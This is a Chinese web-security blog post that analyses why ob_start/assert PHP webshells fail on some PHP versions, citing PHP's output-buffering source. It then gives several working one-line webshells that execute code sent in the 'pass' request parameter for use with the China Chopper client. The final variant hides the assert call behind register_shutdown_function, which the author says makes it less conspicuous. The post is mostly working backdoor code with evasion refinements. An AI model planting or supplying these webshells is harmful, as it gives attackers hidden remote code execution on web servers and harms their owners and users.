ob_start用于菜刀的可行性分析

作者:椒图实验室

转载请注明出处:http://blog.jowto.com

 

传统的ob_start马是这样用:

<?php
ob_start('assert'); 
echo $_REQUEST['pass']; 
ob_end_flush();
?>

经过本人测试这种方法在PHP5.4.X以上版本可以执行代码,但没有任何回显,当然也就不能用于菜刀,那么究竟是什么原因导致的不能回显呢?

分析
ob_start(“assert”)的意思设置assert作为ob操作结束时回调函数,ob_start要求回调函数接收两个参数,而在PHP 5.4.8以下版本assert只接受一个参数,所以5.3.X这样用都不能成功执行代码。恰好本人在做一个基于污点跟踪的webshell监控的玩意,测试这个时候始终不能执行,百思不得其解之后发现是版本问题,汗
5.4.8以上版本的PHP可以成功执行,但是assert执行内容不能有print/echo等ob输出,看PHP源代码找到原因:
main\output.c

PHPAPI void php_end_ob_buffer(zend_bool send_buffer, zend_bool just_flush TSRMLS_DC)
{

    OG(ob_lock) = 1;  //调用回调之前设置ob_lock
    //下面就是去调用回调函数
    if (call_user_function_ex(CG(function_table), NULL, OG(active_ob_buffer).output_handler, &alternate_buffer, 2, params, 1, NULL TSRMLS_CC)==SUCCESS) {
      if (alternate_buffer && !(Z_TYPE_P(alternate_buffer)==IS_BOOL && Z_BVAL_P(alternate_buffer)==0)) {
        convert_to_string_ex(&alternate_buffer);
        final_buffer = Z_STRVAL_P(alternate_buffer);
        final_buffer_length = Z_STRLEN_P(alternate_buffer);
      }
    }
    OG(ob_lock) = 0;

而在

PHPAPI int php_start_ob_buffer(zval *output_handler, uint chunk_size, zend_bool erase TSRMLS_DC)
{
  uint initial_size, block_size;

  if (OG(ob_lock)) {  //判断是否设置ob_lock
    if (SG(headers_sent) && !SG(request_info).headers_only) {
      OG(php_body_write) = php_ub_body_write_no_header;
    } else {
      OG(php_body_write) = php_ub_body_write;
    }
    OG(ob_nesting_level) = 0;
    //在回调之中调用ob相关函数会引发FATAL ERROR
    php_error_docref("ref.outcontrol" TSRMLS_CC, E_ERROR, "Cannot use output buffering in output buffering display handlers");
    return FAILURE;
  }

可以看到一旦使用了print/echo等等输出函数,就会调用php_start_ob_buffer,而php_start_ob_buffer中判断了是不能在display handlers中使用ob的,一旦使用就会造成Fatal error。所以想在菜刀中那样使用ob_start不仅仅是不输出的问题,而是压根就不能成功执行。PHP这样设计的原因是显而易见的,在输出回调中再去输出会造成死循环。

解决
所以要通用的在各版本使用ob_start回调,就不能在ob回调函数中去执行eval/assert,因此用以下这种方案:

<?php
$evalstr="";
function myeval($c,$d)
{
global $evalstr;
$evalstr=$c;
}
ob_start('myeval');
echo $_REQUEST['pass'];
ob_end_flush();
assert($evalstr);
?>

但是这样代码太长不好看,PHP5.3以上支持闭包可以使用以下方案:

<?php
$evalstr="";
ob_start(function ($c,$d){global $evalstr;$evalstr=$c;});
echo $_REQUEST['pass'];
ob_end_flush();
assert($evalstr);
?>

但是直接调用了assert还是太显眼不完美,于是再改进,使用register_shutdown_function:

<?php
ob_start(function ($c,$d){register_shutdown_function('assert',$c);});
echo $_REQUEST['pass'];
ob_end_flush();
?>

这个最终版本看上去顺眼多了。
注:以上代码在PHP5.3.3中测试成功。

Posted on 一月 4, 2016 at 下午5:22 by admin · Permalink
In: Web安全

友情链接